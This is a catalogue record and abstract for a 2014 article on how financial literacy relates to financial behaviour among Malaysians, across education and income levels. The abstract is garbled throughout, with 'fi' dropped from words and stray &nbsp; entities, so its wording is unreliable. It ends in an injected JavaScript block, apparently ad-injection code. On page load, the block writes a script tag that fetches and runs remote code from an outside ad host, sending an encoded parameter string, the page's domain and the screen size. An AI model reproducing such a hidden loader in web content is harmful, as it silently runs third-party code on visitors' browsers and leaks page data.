Determinants of Financial Behaviours among Malaysians

• Main Authors: Zauwiyah Ahmad, Maimun Simun, Md. Shukor Masuod
• Format: Article
• Language: English
• Published: Universitas Indonesia 2014-08-01
• Series: Indonesian Capital Market Review
• Online Access: http://journal.ui.ac.id/index.php/icmr/article/view/3663

The &nbsp;importance &nbsp;of &nbsp;inancial &nbsp;literacy &nbsp;in &nbsp;promoting &nbsp;good &nbsp;inancial &nbsp;behaviour &nbsp;has &nbsp;been&nbsp;established &nbsp;in &nbsp;previous &nbsp;studies. &nbsp;Nonetheless, &nbsp;a &nbsp;study &nbsp;that &nbsp;speciically &nbsp;analyses &nbsp;Malaysian&nbsp;or Asian general public is very rare, despite various cases involving bankruptcies, suicides&nbsp;and harassment that result from improper inancial decisions within the region. This study&nbsp;focuses &nbsp;on &nbsp;Malaysians' &nbsp;inancial &nbsp;literacy &nbsp;and &nbsp;inancial &nbsp;behaviour. &nbsp;It &nbsp;is &nbsp;hypothesized &nbsp;that&nbsp;inancial behaviour is signiicantly correlated with inancial literacy. It is also expected that&nbsp;Malaysians' inancial behaviour and inancial literacy vary signiicantly among those from&nbsp;different education and income levels. A quantitative approach was adopted for this study,&nbsp;utilizing questionnaire survey as the main research instrument. Results showed signiicant,&nbsp;positive &nbsp;correlation &nbsp;between &nbsp;inancial &nbsp;literacy &nbsp;and &nbsp;inancial &nbsp;behaviour. &nbsp;Moreover, &nbsp;less&nbsp;educated individuals and lower income earners were found to have lower inancial literacy.&nbsp;This &nbsp;paper &nbsp;provides &nbsp;a &nbsp;discussion &nbsp;on &nbsp;educational &nbsp;programmes &nbsp;that &nbsp;could &nbsp;be &nbsp;conducted &nbsp;in&nbsp;order &nbsp;to &nbsp;enhance &nbsp;the &nbsp;public's &nbsp;inancial &nbsp;literacy &nbsp;and &nbsp;promotes &nbsp;good &nbsp;inancial &nbsp;practices,&nbsp;especially among these groups of individuals.<br /> <script type="text/javascript"><!-- if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKD5ZPUFJSHXkfO2oDKMAQuzOojP%2fmDucJguojRzdY0PZjnsrjI4qdTOeHAtQwjiZtLYQj7tFNHtzZGU%2bH%2fFkypnL2i18%2fZ3389siCfg0LBeacXMdHl8%2fDn9WIn5pYaabIuGr473BoJgrO8F2Zs2clSiZgUibRbl4%2f%2bh84fwwA2SDukkbmN1FqQnbI83nJCjqTEDixH%2f7nUAnBe5p9ZJohSJu6YByurEYShLXnNu%2bh8Cyu1QXCq%2fynX7345depVuEGJNRqyFubxWjGVF349Fz3aNWNscGxEFyTkbCOD92cO0QIC5%2blBR2sEKNbYC%2fs%2b4A8n2cwai0HrrhGc%2bZ%2fZ4Dp3dHOocL1xWNo1wSYrFrQdCHF06QlRFOSqKHYjPocH59idxI%2foYjU4%2f8sA3RbRv29IhNeBiP%2fJ9pw3AhutTDIxLoaO%2fidclptGFnQfghUrR%2f9Awee9%2bdxnjjk%3d");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");} // --></script><noscript>activate javascript</noscript>